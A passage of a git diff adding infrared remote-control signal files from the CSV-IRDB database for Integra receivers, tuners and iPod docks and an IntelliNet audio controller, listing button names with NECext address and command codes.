MODE:_PLIIX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D8 00 00 00 +# +name: NEO:_6_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D9 00 00 00 +# +name: NEO:6_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D9 00 00 00 +# +name: MODE_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DA 00 00 00 +# +name: THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DA 00 00 00 +# +name: MODE:_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DA 00 00 00 +# +name: MODE_THX_SURR_EX +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DB 00 00 00 +# +name: THX_SURROUND_EX +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DB 00 00 00 +# +name: MODE:_THX_SURR_EX +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DB 00 00 00 +# +name: MODE_THX_ULTRA2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DC 00 00 00 +# +name: THX_ULTRA2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DC 00 00 00 +# +name: THX_ULTRA2/CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DC 00 00 00 +# +name: MODE:_THX_ULTRA_2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DC 00 00 00 +# +name: MODE_THX_MUSIC_MODE2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DD 00 00 00 +# +name: THX_ULTRA2_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DD 00 00 00 +# +name: THX_MUSIC_MODE +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DD 00 00 00 +# +name: MODE:_THX_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DD 00 00 00 +# +name: MODE_THX_GAMES_MODE2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DE 00 00 00 +# +name: THX_ULTRA2_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DE 00 00 00 +# +name: THX_GAMES_MODE +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DE 00 00 00 +# +name: MODE:_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DE 00 00 00 +# +name: MODE:_PLII_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DE 00 00 00 +# +name: NEURAL_THX +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DF 00 00 00 +# +name: MODE_NEURAL_THX_SURR +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir new file mode 100644 index 000000000..58eef6b75 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir @@ -0,0 +1,698 @@ +Filetype: IR signals file +Version: 1 +# +name: +10 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: PAUSE/STEP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: FR +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 48 00 00 00 +# +name: AUDYSSEY_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: AUDYSSEY_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_TOGGLE +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_EQ_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_EQ_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_EQ_TOGGLE +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOL_HEAVY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOL_LIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOL_MEDIUM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOL_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOL_TOGGLE +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_FULL_MONO +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_GAME_ACTION +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_GAME_ROCK +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_GAME_RPG +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_GAME_SPORTS +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_ORCHESTRA +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_STUDIO_MIX +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_UNPLUGGED +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MUSIC_OPTIMIZER_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MUSIC_OPTIMIZER_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: AUDIO_ARC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYMANIC_EQ_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_EQ_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_HEAVY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_LIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_MEDIU +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_CINEMA +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_CUSTOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_GAME +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_MODE_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_THROUGH +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_DOLBYEX_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_FULL_MONO +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_ACTION +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_ROCK +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_RPG +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_SPORTS +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6_THX_CINEMA +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6_THX_MUSIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_ORCHESTRA +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_STUDIO_MIX +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_TV_LOGIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MUSIC_OPTIMIZER_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_4:3 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_FULL +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_WIDE_ZOOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_ZOOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE:_PLXLL_HEIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_AUDIO_OUT_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_AUDIO_OUT_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_AUDYSSEY_DSX +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6_MUSIC_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6CINEMA_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLX_GAME_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLX_MOVIE_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLX_MUSIC_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODEPLLZH+THXU2CINEM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODEPLLZH+THXU2GAMES +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODEPLLZH+THXU2MUSIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_AUDIO_OUT_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_OUT_BOTH +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_OUT_BOTH_MAIN +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_OUT_BOTH_SUB +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_H+GAMES +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_H+THXCINEM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_H+THXMUSIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_HEIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: VOLUME_DOWN_1DB +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: VOLUME_UP_1DB +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_DAY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_NIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_AUTO +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_HIGH +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_LOW +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_MID +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEURAL_DIGITAL +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_SMART_ZOOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir new file mode 100644 index 000000000..6812c100f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir new file mode 100644 index 000000000..b92494165 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 46 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir new file mode 100644 index 000000000..091a21429 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D5 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D6 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D7 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D8 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D9 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DA 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DB 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DC 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DD 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: DIRECT_ACCESS +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,108.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,108.ir new file mode 100644 index 000000000..fff9ab883 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,108.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: FF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 00 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 01 00 00 00 +# +name: PLAY_MODE_(SHUFFLE) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 0A 00 00 00 +# +name: STOP_(PAUSE) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 0B 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 0C 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 0D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 0E 00 00 00 +# +name: PROGRAM_(PLAYLIST_MO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 10 00 00 00 +# +name: DISPLAY_(BKLIGHT) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 11 00 00 00 +# +name: ENTER_(PLAYLIST_MODE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 11 00 00 00 +# +name: SCROLL_(BKLIGHT) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 12 00 00 00 +# +name: RANDOM_(SHUFFLE) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 15 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,109.ir new file mode 100644 index 000000000..302123953 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,109.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP_(PAUSE) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: REV_PLAY_(PLAYLIST) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: REC_PAUSE_(BACKLIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: FF_(TRACK_+) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: REW_(TRACK_-) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 93 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 94 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,172.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,172.ir new file mode 100644 index 000000000..aa78466c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,172.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: FF +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 00 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 01 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 46 00 00 00 +# +name: PLAY_MODE_(SHUFFLE) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 8C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 8D 00 00 00 +# +name: STOP_(PAUSE) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 8E 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 8F 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 90 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 91 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 94 00 00 00 +# +name: SCROLL_(BACKLIGHT) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 96 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 97 00 00 00 +# +name: DISPLAY_(BACKLIGHT) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 99 00 00 00 +# +name: RANDOM_(SHUFFLE) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9A 00 00 00 +# +name: MEMORY_(PLAYLIST) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,2.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,2.ir new file mode 100644 index 000000000..29727b11a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/iPod/210,2.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 18 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 1B 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 1C 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 1D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 1E 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 1F 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 42 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 43 00 00 00 +# +name: ALBUM_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 50 00 00 00 +# +name: ALBUM_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 51 00 00 00 +# +name: PLAYLIST_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 52 00 00 00 +# +name: PLAYLIST_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 53 00 00 00 +# +name: CHAPTER_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 54 00 00 00 +# +name: CHAPTER_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 55 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 56 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 57 00 00 00 +# +name: BACKLIGHT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 59 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 5A 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 5B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 82 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 83 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir b/assets/resources/infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir new file mode 100644 index 000000000..97af66d79 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: LIGHT +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 00 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 02 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 06 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 07 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 09 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0B 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 12 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 13 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 14 00 00 00 +# +name: CD2 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 15 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 16 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 17 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 18 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 19 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 1A 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 1C 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir 